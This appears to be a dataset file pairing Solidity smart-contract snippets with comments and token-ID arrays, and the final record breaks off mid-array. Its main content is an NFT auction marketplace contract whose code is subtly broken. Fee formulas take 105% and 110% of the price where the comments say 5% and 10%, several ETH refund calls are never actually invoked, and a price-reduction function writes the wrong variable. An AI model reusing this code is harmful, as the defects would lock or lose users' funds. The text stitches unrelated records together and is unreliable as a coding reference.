SPDX-License-Identifier: MIT pragma solidity ^0.6.0; import "@openzeppelin/contracts/access/Ownable.sol"; import "@openzeppelin/contracts/utils/EnumerableSet.sol"; contract AccessControl is Ownable { using EnumerableSet for EnumerableSet.AddressSet; /// @dev Allowed address list. EnumerableSet.AddressSet private allowed; /// @notice An event emitted when address allowed. event AccessAllowed(address member); /// @notice An event emitted when address denied. event AccessDenied(address member); /** * @notice Allow access. * @param member Target address. */ function allowAccess(address member) external onlyOwner { require(!allowed.contains(member), "AccessControl::allowAccess: member already allowed"); allowed.add(member); emit AccessAllowed(member); } /** * @notice Deny access. * @param member Target address. */ function denyAccess(address member) external onlyOwner { require(allowed.contains(member), "AccessControl::denyAccess: member already denied"); allowed.remove(member); emit AccessDenied(member); } /** * @return Allowed address list. */ function accessList() external view returns (address[] memory) { address[] memory result = new address[](allowed.length()); for (uint256 i = 0; i < allowed.length(); i++) { result[i] = allowed.at(i); } return result; } /** * @dev Throws if called by any account other than allowed. */ modifier onlyAllowed() { require(allowed.contains(_msgSender()) || _msgSender() == owner(), "AccessControl: caller is not allowed"); _; } } // SPDX-License-Identifier: MIT pragma solidity ^0.6.0; import "@openzeppelin/contracts/access/Ownable.sol"; import "@openzeppelin/contracts/utils/Pausable.sol"; contract OwnablePausable is Ownable, Pausable { /// @notice Address that can pause a contract. address public pauser; /// @notice An event thats emitted when an pauser address changed. event PauserChanged(address newPauser); constructor() internal { pauser = owner(); } /** * @notice Change pauser account. * @param newPauser Address of new pauser account. */ function changePauser(address newPauser) external onlyOwner { pauser = newPauser; emit PauserChanged(pauser); } /** * @notice Triggers stopped state. */ function pause() public virtual { require(pauser == _msgSender() || owner() == _msgSender(), "OwnablePausable::pause: only pauser and owner must pause contract"); _pause(); } /** * @notice Returns to normal state. */ function unpause() public virtual { require(pauser == _msgSender() || owner() == _msgSender(), "OwnablePausable::unpause: only pauser and owner must unpause contract"); _unpause(); } }
* @notice Transfer Treasury contract to new address. @param _treasury New address Treasury contract./
function changeTreasury(address _treasury) external onlyOwner { treasury = _treasury; emit TransferTreasury(treasury); }
256,945
[ 1, 5912, 399, 266, 345, 22498, 6835, 358, 394, 1758, 18, 225, 389, 27427, 345, 22498, 1166, 1758, 399, 266, 345, 22498, 6835, 18, 19, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 445, 2549, 56, 266, 345, 22498, 12, 2867, 389, 27427, 345, 22498, 13, 3903, 1338, 5541, 288, 203, 3639, 9787, 345, 22498, 273, 389, 27427, 345, 22498, 31, 203, 3639, 3626, 12279, 56, 266, 345, 22498, 12, 27427, 345, 22498, 1769, 203, 565, 289, 203, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
./full_match/137/0xBfe85b980FDcFe5c4116d2759B85afb13473a538/sources/MultiTokenAuction.sol
set standingBid to 0 to prevent withdraw again transfer asset emit events event ProcessWithdrawNft(string matchId, uint tokenIndex);
function process_withdraw_nft(string memory matchId, uint tokenIndex) private { matchResults[matchId][tokenIndex].standingBid = 0; NFT memory nft = matchNFTs[matchId][tokenIndex]; IERC1155(nft.contractAddress).safeTransferFrom(address(this), msg.sender, nft.tokenId, nft.amount, ""); emit ProcessWithdrawNft(matchId, tokenIndex); }
4,793,310
[ 1, 542, 12842, 310, 17763, 358, 374, 358, 5309, 598, 9446, 3382, 7412, 3310, 3626, 2641, 871, 4389, 1190, 9446, 50, 1222, 12, 1080, 845, 548, 16, 2254, 1147, 1016, 1769, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 445, 1207, 67, 1918, 9446, 67, 82, 1222, 12, 1080, 3778, 845, 548, 16, 2254, 1147, 1016, 13, 3238, 288, 203, 3639, 845, 3447, 63, 1916, 548, 6362, 2316, 1016, 8009, 15167, 17763, 273, 374, 31, 203, 3639, 423, 4464, 3778, 290, 1222, 273, 845, 50, 4464, 87, 63, 1916, 548, 6362, 2316, 1016, 15533, 203, 3639, 467, 654, 39, 2499, 2539, 12, 82, 1222, 18, 16351, 1887, 2934, 4626, 5912, 1265, 12, 2867, 12, 2211, 3631, 1234, 18, 15330, 16, 290, 1222, 18, 2316, 548, 16, 290, 1222, 18, 8949, 16, 1408, 1769, 203, 203, 3639, 3626, 4389, 1190, 9446, 50, 1222, 12, 1916, 548, 16, 1147, 1016, 1769, 203, 565, 289, 203, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
./full_match/1/0x9642c7026822391100a4773d7aA597AE18ECE7dd/sources/Synthetix.sol
set the rate to the current rate initially (if it's frozen, this is what will be returned)
uint newInverseRate = rates(currencyKey);
16,502,895
[ 1, 542, 326, 4993, 358, 326, 783, 4993, 22458, 261, 430, 518, 1807, 12810, 16, 333, 353, 4121, 903, 506, 2106, 13, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 3639, 2254, 394, 16376, 4727, 273, 17544, 12, 7095, 653, 1769, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
pragma solidity ^0.8.0; import "@openzeppelin/contracts/token/ERC721/IERC721.sol"; import "@openzeppelin/contracts/security/ReentrancyGuard.sol"; import "@openzeppelin/contracts/access/Ownable.sol"; interface SombraNFT { function minter(uint256 id) external returns (address); } // Not to be confused with the actual WETH contract. This is a simple // contract to keep track of ETH/BNB the user is owned by the contract. // // The user can withdraw it at any moment, it's not a token, hence it's not // transferable. The marketplace will automatically try to refund the ETH to // the user (e.g outbid, NFT sold) with a gas limit. This is simply backup // when the ETH/BNB could not be sent to the user/address. For example, if // the user is a smart contract that uses a lot of gas on it's payable. contract WrappedETH is ReentrancyGuard { mapping(address => uint256) public wethBalance; function claimBNB() external nonReentrant { uint256 refund = wethBalance[msg.sender]; wethBalance[msg.sender] = 0; msg.sender.call{value: refund}; } // claimBNBForUser tries to payout the user's owned balance with // a gas limit. function claimBNBForUser(address user) external nonReentrant { uint256 refund = wethBalance[user]; wethBalance[user] = 0; user.call{value: refund, gas: 3500}; } // rewardBNBToUserAndClaim increases the user's internal BNB balance and // tries to payout their entire balance safely. function rewardBNBToUserAndClaim(address user, uint256 amount) internal { wethBalance[user] += amount; try this.claimBNBForUser(user) {} catch {} } function rewardBNBToUser(address user, uint256 amount) internal { wethBalance[user] += amount; } } contract Buyback { // Uniswap V2 Router address for buyback functionality. IUniswapV2Router02 public uniswapV2Router; // Keep store of the WETH address to save on gas. address WETH; address constant burnAddress = address(0x000000000000000000000000000000000000dEaD); uint256 ethToBuybackWith = 0; event UniswapRouterUpdated( address newAddress ); event SombraBuyback( uint256 ethSpent ); function updateBuybackUniswapRouter(address newRouterAddress) internal { uniswapV2Router = IUniswapV2Router02(newRouterAddress); WETH = uniswapV2Router.WETH(); emit UniswapRouterUpdated(newRouterAddress); } function buybackSombra() external { require(msg.sender == address(this), "can only be called by the contract"); address[] memory path = new address[](2); path[0] = WETH; path[1] = address(this); uint256 amount = ethToBuybackWith; ethToBuybackWith = 0; uniswapV2Router.swapExactETHForTokensSupportingFeeOnTransferTokens{value: amount}( 0, // accept any amount of Tokens path, burnAddress, // Burn the buyback tokens (@note: subject to change) block.timestamp ); emit SombraBuyback(amount); } function swapETHForTokens(uint256 amount) internal { ethToBuybackWith += amount; // 500k gas is more than enough. try this.buybackSombra{gas: 500000}() {} catch {} } } contract SombraMarketplace is ReentrancyGuard, Ownable, WrappedETH, Buyback { // MarketItem consists of buy-now and bid items. // Auction refers to items that can be bid on. // An item can either be buy-now or bid, or both. struct MarketItem { uint256 tokenId; address payable seller; // If purchasePrice is non-0, item can be bought out-right for that price // if bidPrice is non-0, item can be bid upon. uint256 purchasePrice; uint256 bidPrice; uint8 state; uint64 listingCreationTime; uint64 auctionStartTime; // Set when first bid is received. 0 until then. uint64 auctionEndTime; // Initially it is the DURATION of the auction. // After the first bid, it is set to the END time // of the auction. // Defaults to 0. When 0, no bid has been placed yet. address payable highestBidder; } uint8 constant ON_MARKET = 0; uint8 constant SOLD = 1; uint8 constant CANCELLED = 2; // itemsOnMarket is a list of all items, historic and current, on the marketplace. // This includes items all of states, i.e items are never removed from this list. MarketItem[] public itemsOnMarket; // sombraNFTAddress is the address for the Sombra NFT address. address immutable public sombraNFTAddress; // devWalletAddress is the Sombra development address for 10% fees. address constant public devWalletAddress = 0x949d36d76236217D4Fae451000861B535D9500Ab; event AuctionItemAdded( uint256 tokenId, address tokenAddress, uint256 bidPrice, uint256 auctionDuration ); event FixedPriceItemAdded( uint256 id, uint256 tokenId, address tokenAddress, uint256 purchasePrice ); event ItemSold( uint256 id, address buyer, uint256 purchasePrice, uint256 bidPrice ); event HighestBidIncrease( uint256 id, address bidder, uint256 amount, uint256 auctionEndTime ); event PriceReduction( uint256 tokenAddress, uint256 newPurchasePrice, uint256 newBidPrice ); event ItemPulledFromMarket(uint256 id); constructor(address _sombraNFTAddress, address _uniswapRouterAddress) { sombraNFTAddress = _sombraNFTAddress; updateBuybackUniswapRouter(_uniswapRouterAddress); } function updateUniswapRouter(address newRouterAddress) external onlyOwner { updateBuybackUniswapRouter(newRouterAddress); } function isMinter(uint256 id, address target) internal returns (bool) { SombraNFT sNFT = SombraNFT(sombraNFTAddress); return sNFT.minter(id) == target; } function minter(uint256 id) internal returns (address) { SombraNFT sNFT = SombraNFT(sombraNFTAddress); return sNFT.minter(id); } function handleFees(uint256 id, uint256 amount, bool isMinterSale) internal returns (uint256) { uint256 buybackFee; if(!isMinterSale) { // In resale, 5% buyback and 5% to artist. // 90% to seller. buybackFee = amount * 105 / 100; uint256 artistFee = amount * 105 / 100; rewardBNBToUserAndClaim(minter(id), artistFee); amount = amount - artistFee; } else { // When it's the minter selling, they get 80% // 10% to buyback // 10% to SOMBRA dev wallet. buybackFee = amount * 110 / 100; uint256 devFee = amount * 110 / 100; rewardBNBToUserAndClaim(devWalletAddress, devFee); amount = amount - devFee; } swapETHForTokens(buybackFee); return amount - buybackFee; } function createAuctionItem( uint256 tokenId, address seller, uint256 purchasePrice, uint256 startingBidPrice, uint256 biddingTime ) internal { itemsOnMarket.push( MarketItem( tokenId, payable(seller), purchasePrice, startingBidPrice, ON_MARKET, uint64(block.timestamp), uint64(0), uint64(biddingTime), payable(address(0)) ) ); } // purchasePrice is the direct purchasing price. Starting bid price // is the starting price for bids. If purchase price is 0, item cannot // be bought directly. Similarly for startingBidPrice, if it's 0, item // cannot be bid upon. One of them must be non-zero. function listItemOnAuction( address tokenAddress, uint256 tokenId, uint256 purchasePrice, uint256 startingBidPrice, uint256 biddingTime ) external returns (uint256) { IERC721 tokenContract = IERC721(tokenAddress); require(tokenAddress == sombraNFTAddress, "Item must be Sombra NFT"); require(tokenContract.ownerOf(tokenId) == msg.sender, "Missing Item Ownership"); require(tokenContract.getApproved(tokenId) == address(this), "Missing transfer approval"); require(purchasePrice > 0 || startingBidPrice > 0, "Item must have a price"); require(startingBidPrice == 0 || biddingTime > 3600, "Bidding time must be above one hour"); uint256 newItemId = itemsOnMarket.length; createAuctionItem( tokenId, msg.sender, purchasePrice, startingBidPrice, biddingTime ); IERC721(sombraNFTAddress).transferFrom( msg.sender, address(this), tokenId ); if(purchasePrice > 0) { emit FixedPriceItemAdded(newItemId, tokenId, tokenAddress, purchasePrice); } if(startingBidPrice > 0) { emit AuctionItemAdded( tokenId, sombraNFTAddress, startingBidPrice, biddingTime ); } return newItemId; } function buyFixedPriceItem(uint256 id) external payable nonReentrant { require(id < itemsOnMarket.length, "Invalid id"); MarketItem memory item = itemsOnMarket[id]; require(item.state == ON_MARKET, "Item not for sale"); require(msg.value >= item.purchasePrice, "Not enough funds sent"); require(item.purchasePrice > 0, "Item does not have a purchase price."); require(msg.sender != item.seller, "Seller can't buy"); item.state = SOLD; IERC721(sombraNFTAddress).safeTransferFrom( address(this), msg.sender, item.tokenId ); uint256 netPrice = handleFees(id, item.purchasePrice, isMinter(id, item.seller)); rewardBNBToUser(item.seller, netPrice); emit ItemSold(id, msg.sender, item.purchasePrice, item.bidPrice); itemsOnMarket[id] = item; // If the user sent excess ETH/BNB, send any extra back to the user. uint256 refundableEther = msg.value - item.purchasePrice; if(refundableEther > 0) { payable(msg.sender).call{value: refundableEther}; } try this.claimBNBForUser(item.seller) {} catch {} } function placeBid(uint256 id) external payable nonReentrant { require(id < itemsOnMarket.length, "Invalid id"); MarketItem memory item = itemsOnMarket[id]; require(item.state == ON_MARKET, "Item not for sale"); require(block.timestamp < item.auctionEndTime || item.highestBidder == address(0), "Auction has ended"); if (item.highestBidder != address(0)) { require(msg.value >= item.bidPrice * 105 / 100, "Bid must be 5% higher than previous bid"); } else { require(msg.value >= item.bidPrice, "Too low bid"); // First bid! item.auctionStartTime = uint64(block.timestamp); // item.auctionEnd is the auction duration. Add current time to it // to set it to the end time. item.auctionEndTime += uint64(block.timestamp); } address previousBidder = item.highestBidder; // Return BNB to previous highest bidder. if (previousBidder != address(0)) { rewardBNBToUser(previousBidder, item.bidPrice); } item.highestBidder = payable(msg.sender); item.bidPrice = msg.value; // Extend the auction time by 5 minutes if there is less than 5 minutes remaining. // This is to prevent snipers sniping in the last block, and give everyone a chance // to bid. if ((item.auctionEndTime - block.timestamp) < 300){ item.auctionEndTime = uint64(block.timestamp + 300); } emit HighestBidIncrease(id, msg.sender, msg.value, item.auctionEndTime); itemsOnMarket[id] = item; if (previousBidder != address(0)) { try this.claimBNBForUser(previousBidder) {} catch {} } } function closeAuction(uint256 id) external { require(id < itemsOnMarket.length, "Invalid id"); MarketItem memory item = itemsOnMarket[id]; require(item.state == ON_MARKET, "Item not for sale"); require(item.bidPrice > 0, "Item is not on auction."); require(item.highestBidder != address(0), "No bids placed"); require(block.timestamp > item.auctionEndTime, "Auction is still on going"); item.state = SOLD; IERC721(sombraNFTAddress).transferFrom( address(this), item.highestBidder, item.tokenId ); uint256 netPrice = handleFees(id, item.bidPrice, isMinter(id, item.seller)); rewardBNBToUser(item.seller, netPrice); emit ItemSold(id, item.highestBidder, item.purchasePrice, item.bidPrice); try this.claimBNBForUser(item.seller) {} catch {} itemsOnMarket[id] = item; } function reducePrice( uint256 id, uint256 reducedPrice, uint256 reducedBidPrice ) external { require(id < itemsOnMarket.length, "Invalid id"); MarketItem memory item = itemsOnMarket[id]; require(item.state == ON_MARKET, "Item not for sale"); require(msg.sender == item.seller, "Only the item seller can trigger a price reduction"); require(block.timestamp >= item.listingCreationTime + 600, "Must wait ten minutes after listing before lowering the listing price"); require(item.highestBidder == address(0), "Cannot reduce price once a bid has been placed"); require(reducedBidPrice > 0 || reducedPrice > 0, "Must reduce price"); if (reducedPrice > 0) { require( item.purchasePrice > 0 && reducedPrice <= item.purchasePrice * 95 / 100, "Reduced price must be at least 5% less than the current price" ); item.purchasePrice = reducedPrice; } if (reducedBidPrice > 0) { require( item.bidPrice > 0 && reducedBidPrice <= item.bidPrice * 95 / 100, "Reduced price must be at least 5% less than the current price" ); item.bidPrice = reducedPrice; } itemsOnMarket[id] = item; emit PriceReduction( id, item.purchasePrice, item.bidPrice ); } function pullFromMarket(uint256 id) external { require(id < itemsOnMarket.length, "Invalid id"); MarketItem memory item = itemsOnMarket[id]; require(item.state == ON_MARKET, "Item not for sale"); require(msg.sender == item.seller, "Only the item seller can pull an item from the marketplace"); // Up for debate: Currently we don't allow items to be pulled if it's been bid on require(item.highestBidder == address(0), "Cannot pull from market once a bid has been placed"); require(block.timestamp >= item.listingCreationTime + 600, "Must wait ten minutes after listing before pulling from the market"); item.state = CANCELLED; IERC721(sombraNFTAddress).transferFrom( address(this), item.seller, item.tokenId ); itemsOnMarket[id] = item; emit ItemPulledFromMarket(id); } } interface IUniswapV2Router01 { function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidity( address tokenA, address tokenB, uint amountADesired, uint amountBDesired, uint amountAMin, uint amountBMin, address to, uint deadline ) external returns (uint amountA, uint amountB, uint liquidity); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); function removeLiquidity( address tokenA, address tokenB, uint liquidity, uint amountAMin, uint amountBMin, address to, uint deadline ) external returns (uint amountA, uint amountB); function removeLiquidityETH( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external returns (uint amountToken, uint amountETH); function removeLiquidityWithPermit( address tokenA, address tokenB, uint liquidity, uint amountAMin, uint amountBMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountA, uint amountB); function removeLiquidityETHWithPermit( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountToken, uint amountETH); function swapExactTokensForTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external returns (uint[] memory amounts); function swapTokensForExactTokens( uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline ) external returns (uint[] memory amounts); function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline) external payable returns (uint[] memory amounts); function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline) external returns (uint[] memory amounts); function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline) external returns (uint[] memory amounts); function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline) external payable returns (uint[] memory amounts); function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB); function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut); function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn); function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts); function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts); } // pragma solidity >=0.6.2; interface IUniswapV2Router02 is IUniswapV2Router01 { function removeLiquidityETHSupportingFeeOnTransferTokens( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external returns (uint amountETH); function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountETH); function swapExactTokensForTokensSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function swapExactETHForTokensSupportingFeeOnTransferTokens( uint amountOutMin, address[] calldata path, address to, uint deadline ) external payable; function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; }
itemsOnMarket is a list of all items, historic and current, on the marketplace. This includes items all of states, i.e items are never removed from this list.
MarketItem[] public itemsOnMarket;
1,065,448
[ 1, 3319, 1398, 3882, 278, 353, 279, 666, 434, 777, 1516, 16, 29784, 471, 783, 16, 603, 326, 29917, 18, 1220, 6104, 1516, 777, 434, 5493, 16, 277, 18, 73, 1516, 854, 5903, 3723, 628, 333, 666, 18, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 6622, 278, 1180, 8526, 1071, 1516, 1398, 3882, 278, 31, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, 